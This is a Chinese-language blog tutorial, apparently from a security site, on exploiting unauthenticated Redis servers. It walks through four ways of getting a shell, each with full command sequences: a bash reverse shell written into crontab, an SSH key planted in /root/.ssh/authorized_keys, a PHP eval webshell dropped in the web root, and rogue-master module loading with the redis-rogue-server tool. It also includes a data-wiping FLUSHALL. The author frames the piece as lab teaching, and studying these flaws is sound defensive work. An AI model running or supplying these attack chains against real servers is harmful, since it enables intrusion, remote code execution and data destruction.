Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层)

本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。

这是本系列最"打"的一篇。我们完整走一遍:探测未授权 → 拿到连接 → 判断版本/权限 → 分别尝试 crontab、SSH 公钥、WebShell、主从复刻。

由于本机靶场版本为8.0,所以启动命令为:

复制代码
redis-cli shutdown nosave
redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \
  --enable-protected-configs yes --save "" --appendonly no \
  --daemonize yes

--protected-mode no

关闭保护模式 。Redis 的保护模式本意是:如果 bind 不是 127.0.0.1 且未设置密码,则会拒绝外部访问。这里主动关闭了它,完全放弃了这一层防护。

--enable-protected-configs yes

允许修改敏感配置 。这个参数(在 Redis 7.0+ 引入)允许通过 CONFIG SET/GET 操作如 dir、dbfilename 等关键配置,即使 Redis 以非特权用户运行。这进一步扩大了攻击者可利用的权限。

基于此来模拟实验环境


1. 什么是"未授权访问",成立条件到底有哪些

1.1 字面意思

"未授权访问" = 不需要账号密码就能连上并执行命令

对 Redis 来说,"未授权"有两种典型形态:

  1. 完全没设密码 (老版本常见):redis-cli -h 目标 -p 6379 直接进。

  2. 设了弱密码 :被爆破(常见弱口令:redis123456foobared(默认示例密码)、root、空密码)。

1.2 但"没设密码" ≠ "一定能未授权访问"------三个条件要同时成立

从上一篇我们知道,Redis 3.2+ 引入了 protected-mode。它逻辑很绕,这里拆开讲:

protected-mode 的生效规则(关键): 当且仅当下面同时满足时,Redis 才会拒绝"来自非本机、且未认证"的连接:

  1. protected-mode yes(默认就是 yes);

  2. 没有设置密码(requirepass 为空 / 没配 ACL);

  3. 客户端不是从本机(loopback)连过来的。

否则,protected-mode 不拦。所以一张表说清所有组合:

bind 密码 protected-mode 外网能否未授权连?
0.0.0.0 yes 会被拦(报 DENIED Redis is running in protected mode
0.0.0.0 yes 认证后可以(没密码进不去)
0.0.0.0 no 未授权访问成立(最常见漏洞场景)
0.0.0.0 yes 但客户端来自本机 能连(因为是本机来源)

那为什么实战里还是经常遇到未授权?

因为很多老服务器 / 内网机器 / CTF 靶机,要么版本老(<3.2 没有保护模式),要么运维图省事直接 --protected-mode no,要么 bind 了 0.0.0.0 又忘了设密码。攻防判断顺序永远是:先探测,再逐条核对这三个开关。

靶机上执行:

复制代码
redis-cli shutdown nosave
redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \
  --daemonize yes --save "" --appendonly no

1.3 探测的三个动作

复制代码
# 动作1:端口探测(nmap 或 nc)
nmap -p 6379 -Pn ip地址

# 或
nc -nv ip地址 端口
​
# 动作2:直接用 redis-cli 试着连(不输密码)
redis-cli -h 目标IP -p 6379
目标ip:6379> PING

# 若返回 PONG → 未授权成立(第一关过了)
# 若返回 NOAUTH Authentication required → 要密码,转爆破
​
# 动作3:一条命令版
redis-cli -h 192.168.1.10 -p 6379 ping
# 返回 PONG 即成功

服务器主动回给你的"拒绝"长这样(说明它开了 protected-mode,没设密码):

复制代码

2. 拿到连接后,先做"信息收集五连"

不要上来就 getshell。 先搞清楚三件事:我是谁(权限)、它多老(版本)、里面有什么(数据价值)。

复制代码
# 1) 版本(决定能用哪些套路)
INFO server
# 找 redis_version: ... 和 redis_mode:
​
# 2) 是否真未授权 / 当前权限视角
ACL WHOAMI            # Redis 6+ 才有,返回当前用户(默认 default)

# 老版本没这个命令会报错,正常
​
# 3) 系统信息(也许能看出运行用户、OS)
INFO os              # 包含操作系统
INFO replication      # 是不是从库、主库是谁(主从复刻判断用)
​
# 4) 看配置:dir、权限开关、是否开了危险功能
CONFIG GET dir

CONFIG GET requirepass
requirepass:Redis 登录密码配置项,密码为空,无认证,直接可以操作 Redis,

CONFIG GET protected-mode
​
# 5) 看数据:有多少 key、有没有敏感 key
DBSIZE
KEYS *

为什么先看 replication?

如果目标本来就是某台主库的从库 ,主从复刻套路要先把它的"从库身份"摘掉才能操作(否则改了数据,主库可能又同步回来覆盖)。老教程会教你 SLAVEOF NO ONE 解除从库关系------这本身就是破坏性操作,靶机上做没事,真环境里别乱按。

2.1 判断能不能写文件(快速自测)

写文件 getshell 核心是 CONFIG SET dir + 落盘。先看 dir 能不能改、当前能不能触发 BGSAVE:

复制代码
CONFIG GET dir                 # 看当前数据目录(通常 /var/lib/redis 或 .)

CONFIG SET dir /tmp/           # 试改到 /tmp(能否改成功=关键信号)
# 返回 OK → 配置可写,路子通了

BGSAVE                          # 试试能不能落盘

如果 CONFIG SET dir 被禁止(返回 error),说明管理员做了命令禁用/ACL,写文件这条路基本断了,转主从复刻或其他方向。


3. getshell 路径①:写 crontab 反弹 Shell(最经典,但条件苛刻)

3.1 原理链条(一层一层看)

复制代码
目标:让这台机器定时执行我们的命令(反弹 shell)
办法:往 crontab 里塞一条"每分钟执行"的计划任务
而 Redis 能"写文件"
  ↓
那我们把"计划任务的内容"当成 Redis 的 key 存进去,
再让 Redis 把整个数据库落盘成 crontab 文件 → 文件里就有了我们的任务行
  ↓
系统 cron 守护进程每分钟读 crontab → 执行我们的反弹命令 → getshell

3.2 它成立需要哪些前置条件

条件 说明 不满足会怎样
Redis 进程是 root 或高权限 因为要写 /var/spool/cron/ 这种系统目录 写不进去,报错
知道目标操作系统 & cron 路径 CentOS 老用 /var/spool/cron/;Debian/Ubuntu 用 /var/spool/cron/crontabs/ 路径错写哪都不触发
Redis 没禁用 CONFIG / 没 ACL 限制 否则 SET dir 不成功 卡在第 2 步
目标没有防火墙/杀软拦截外连 反弹 shell 要能连回你 反弹失败
Redis 能触发 BGSAVE 磁盘/权限正常 不落盘

注意:正因为条件苛刻(尤其要求 root + cron 路径可写),真实高版本环境成功率低。CTF 和老机器里常见。

3.3 实操(在靶机上,全程按自己的 IP)

复制代码
# 第0步:准备反弹命令,写进一个变量文件
#   目标IP是10.0.0.100,攻击机(你)监听 4444
#   反弹 payload 里一定要用 \r\n 换行!crontab 按行解析,结尾必须有换行
​
# 第1步:连上未授权 Redis
redis-cli -h 10.0.0.100 -p 6379
​
# 第2步:把数据库清空(减少 RDB 里的二进制噪音,让 crontab 文件干净点)
FLUSHALL
# 返回 OK
​
# 第3步:把反弹计划任务写成一个 key
#   用 redis-cli -x 从标准输入读 value,能保留换行
printf '* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n' | redis-cli -h 10.0.0.100 -p 6379 -x set cron
# 返回 OK
​
# 第4步:把数据目录指到 crontab 目录(按系统选一个)
CONFIG SET dir /var/spool/cron/
# 老 CentOS 用 /var/spool/cron/
# Debian/Ubuntu 用 /var/spool/cron/crontabs/
CONFIG SET dbfilename root      # 文件名 = 要写入的用户名(root)
​
# 第5步:落盘
SAVE   # 或 BGSAVE
# 返回 OK → 文件写好了
​
# 第6步:攻击机监听反弹
nc -lvnp 4444
# 等最多 1 分钟,cron 触发 → 拿到 shell
​
# 第7步(可选):恢复现场,别把环境打坏
CONFIG SET dir /var/lib/redis
CONFIG SET dbfilename dump.rdb

为什么 payload 里要 \r\n 而不是普通换行? 我们用 printf ... \n 里那个 \n 是普通换行。真实 crontab 文件对每行结尾要求是 CRLF(\r\n) ,很多利用脚本里用 \r\n 是为了兼容。不同系统的 cron 对格式宽容度不同,这也是为什么这条路"能不能成"很看系统。实操时可以两种都试,看哪个能生效。
FLUSHALL 会不会太暴力?

会。它把目标库里所有数据清空------这是破坏性动作 。真实渗透/红队场景要慎重(可能把生产缓存全清了)。靶机上随便玩。安全上请记住这个动作的存在:攻击者一个 FLUSHALL 就能把缓存库删光,这是"写入型破坏"的一种。


4. getshell 路径②:写 SSH 公钥登录(比 crontab 稳一点)

4.1 原理链条

复制代码
目标开了 sshd,且允许 root/某用户公钥登录
我们把自己的公钥 id_rsa.pub 写进目标的 ~/.ssh/authorized_keys
  ↓
利用 Redis 写文件:dir 指到用户家目录的 .ssh,文件名 authorized_keys
  ↓
我们用私钥 ssh 登录 → getshell(无需密码)

为什么比 crontab 稳? 因为:

  • 不要求 root 才能写(只要 Redis 以该用户 身份运行、且该用户 home 有 .ssh);

  • 对文件格式要求低(authorized_keys 只要认得出那一行公钥就行,前面混点 Redis 噪音无妨,但通常也先 FLUSHALL 求稳);

  • 不依赖 cron 解析格式。

4.2 前置条件

条件 说明
Redis 以某个用户运行,且能写该用户 ~/.ssh/ 常见:Redis 以 root 跑 → 写 /root/.ssh/
目标 sshd 允许公钥登录 PermitRootLogin / PubkeyAuthentication 配置允许
你知道该写哪个用户的 authorized_keys 通常 root
目标 .ssh 目录已存在 不存在要先想办法建(SSH 登录过一次才会有)

4.3 实操

复制代码
# 第0步:攻击机生成/准备密钥对
ssh-keygen -t rsa -f /tmp/key -N ""
/*  ssh-keygen:生成 ssh 密钥对工具
    -t rsa:指定密钥算法为 RSA
    -f /tmp/key:私钥保存路径/tmp/key,公钥自动生成/tmp/key.pub
    -N "":设置密钥密码为空,免密使用
*/
​​​​​​​
# 生成 /tmp/key(私钥) /tmp/key.pub(公钥)
​
# 第1步:把公钥写进 Redis 的 key(结尾加换行,前后加空行更稳)
(echo; cat /tmp/key.pub; echo) | redis-cli -h 目标ip -p 6379 -x set pub

​
# 第2步:清库 + 指到 .ssh
redis-cli -h 192.168.143.156 -p 6379
FLUSHALL
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
​
#但是最终只有此种方法实现了落盘

# 第3步:用私钥登录
ssh -i /tmp/key root@目标ip

#最终也是成功登录

为什么要 (echo; cat; echo) 前后加空行?让公钥所在行独立、干净,避免和 RDB 的二进制头粘连,提高 sshd 解析成功率。
如果 .ssh 目录不存在怎么办? Redis 写文件
不会自动创建目录
。老 trick:用 CONFIG SET dir 不能建目录,所以这条路要求目录已存在。这也是为什么它常常要求目标是 root 且 root 登录过。CTF 里常预先建好,或换 WebShell 那条路。


5. getshell 路径③:写 WebShell(配合 Web 服务最实用)

5.1 原理链条

复制代码
目标同机跑了 Web 服务(nginx/apache),有 PHP 解析
  ↓
我们把"<?php ...一句话..." 当成 key 存进 Redis
  ↓
dir 指到网站根目录(如 /var/www/html),dbfilename 改成 xxx.php
  ↓
落盘 → Web 目录出现一个 .php 文件,内容是 RDB 二进制 + 我们的 PHP 代码
  ↓
因为 PHP 解析器只认 <?php ... ?> 段,文件里的二进制垃圾不影响执行
  ↓
用菜刀/蚁剑/curl 连这个 php → getshell

5.2 前置条件

条件 说明
知道网站根目录的真实路径 常见 /var/www/html/usr/share/nginx/html、宝塔 /www/wwwroot/站点
Redis 进程有写该目录权限 常要求 root 或同属 www 组
Web 能解析该后缀 .php 需配了 PHP
dir 能改、能落盘 同前

5.3 实操

复制代码
# 第1步:把一句话木马写进 key(内容含 php 标签)
printf '<?php @eval($_POST["cmd"]);?>' | redis-cli -h 目标IP -p 6379 -x set shell

# 或老式用大马,内容可多行
​
# 第2步:指到 web 根目录并落盘
redis-cli -h 10.0.0.100 -p 6379
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
​
# 第3步:浏览器/curl 验证
curl http://目标IP/shell.php
# 应该回显:一串 RDB 乱码开头(前面被当文本输出)+ 我们的 php 标签也在里面
​
# 第4步:用蚁剑/菜刀连,密码 cmd → 管理文件/命令执行

现代一点的 web 环境:目录不可写、有 WAF 过滤、PHP 被 disable_function 限制------这些都会让这条路失效,需要组合其他技巧(不在本篇范围)。但"原理链条"永远是:改 dir → 落盘 → 让解析器执行我们的片段


6. getshell 路径④:主从复刻 RCE(版本 >=4 且 <6 的"通吃"路线)

6.1 前置回顾 + 成立条件

前面讲过原理:骗目标 Redis 变成我们"假主库"的从库,让它全量同步一份夹带恶意 .so 模块的 RDB,从而把恶意模块加载进 Redis,再调用新增命令执行代码。

成立条件:

条件 说明
Redis 版本 >= 4.0(有 Module) <4 没有 module 机制,不行
目标能外连攻击机端口 全量同步是目标主动连我们,要反向可达
没开/能绕过限制模块加载的防护 高版本对从库加载模块有限制,成功率下降
有未授权或已拿到认证 总得能执行 REPLICAOF

为什么说它"更通吃"?

前面三条写文件路径都依赖"目标目录可写 + 知道路径"。这条不依赖系统文件权限,只要能连 + 能发 REPLICAOF,就有机会把模块跑起来。所以在 4.x/5.x 未授权 Redis 上,它是红队首选。

6.2 实操(用现成工具,理解其背后动作)

主从复刻手工造 RDB 很繁琐,安全社区有现成利用工具,最有名的是 Redis Rogue Server 系列(如 redis-rogue-serverNosqlmap 附带功能)。使用方式大同小异:

复制代码
# 工具会做这些事(本质对应我们上面的原理):
# 1) 在攻击机起一个"假主库",并准备恶意 .so
# 2) 让目标 Redis:REPLICAOF 攻击机IP 端口
# 3) 全量同步时喂恶意 RDB → 模块被加载
# 4) 自动调用新增命令,给你一个交互 shell
​
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server
python3 redis-rogue-server.py --rhost 10.0.0.100 --rport 6379 --lhost 10.0.0.1 --lport 6380
# 按提示(输入 i 进入交互/命令模式)
# 成功后目标 Redis 会多出一个自定义命令,比如 system.exec 之类
system.exec id
system.exec whoami
system.exec 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4445 0>&1"'

这类工具我在别处也见过,但不想只会敲脚本,怎么破?

你现在已经具备拆它的能力了:工具流程 = 主从机制 + "让目标 REPLICAOF 我" + "我发恶意 RDB" + "触发模块加载"。想真正看懂,可以抓包看全量同步阶段发的 RDB 里有什么,或在靶机上 INFO replication 观察自己角色变化。


7. 所有 getshell 路径的对照总结

路径 依赖核心机制 主要前置 适用版本 成功率 备注
crontab CONFIG SET + RDB 落盘 root + cron 目录可写 + 知道路径 老系统常见 中低 破坏性 FLUSHALL
SSH 公钥 同上 Redis 用户可写 ~/.ssh + sshd 允许 通用 需要 .ssh 已存在
WebShell 同上 知道 web 根目录 + 可写 + 能解析 php 通用 常用于拿 web 权限
主从复刻 RCE 主从复制 + Module 版本>=4 + 目标可反连 4.x/5.x 最佳 不依赖系统文件权限

贯穿的因果链其实只有一条:

复制代码
能连上(未授权/弱口令)
  → 能执行 CONFIG SET / REPLICAOF 这类危险命令
  → Redis 帮你"写文件"或"加载外部数据"
  → 文件/数据被执行
  → getshell

8. 遇到打不动的情况,按这个清单排查

攻击失败时,90% 是卡在下面某一条,逐条排查:

  1. 到底连上了吗?NOAUTH = 要密码;报 DENIED protected mode = 保护模式拦了;报 Connection refused = 端口没通/防火墙。

  2. 版本查了吗? 老套路在新版本可能被 ACL/模块限制挡住。

  3. CONFIG SET dir 成功了吗? 返回 error 就是被禁用。

  4. Redis 是什么用户跑的? INFO server 看不出用户,用 CONFIG GET dir 能不能写 /tmp 先自测。

  5. 路径对吗? cron 目录系统不同、web 根目录要探测(看指纹/报错页)。

  6. 反弹/连回通了吗? 攻击机防火墙、目标出网策略。

  7. 是不是从库? 先 REPLICAOF NO ONE 再操作。

相关推荐
ByNotD0g1 小时前
跨站脚本攻击- XSS
笔记·web安全
Fnetlink12 小时前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
她说..2 小时前
Redis项目实战整理
数据库·redis·缓存
Neighbor_OldY3 小时前
【实战复盘】XSS跨站脚本攻击检测与应急处置:存储型/反射型/DOM型从发现到修复的完整指南
网络·安全·web安全
其实防守也摸鱼5 小时前
CVE / NVD 漏洞数据库详解:从入门到实战
大数据·运维·人工智能·web安全·自动化
William Dawson5 小时前
Spring Boot 接入华为 MRS Redis 集群(密码认证)全流程实战
spring boot·redis·华为
William Dawson5 小时前
Spring Boot 接入华为 MRS ClickHouse(JDBC + 安全认证 + 负载均衡)实战
spring boot·redis·华为
亚远景aspice5 小时前
亚远景-ASPICE+ISO26262+ISO/SAE21434 融合:仿真验证如何同时支撑功能安全、网络安全与 ASPICE 验证要求
安全·web安全·iso26262·aspice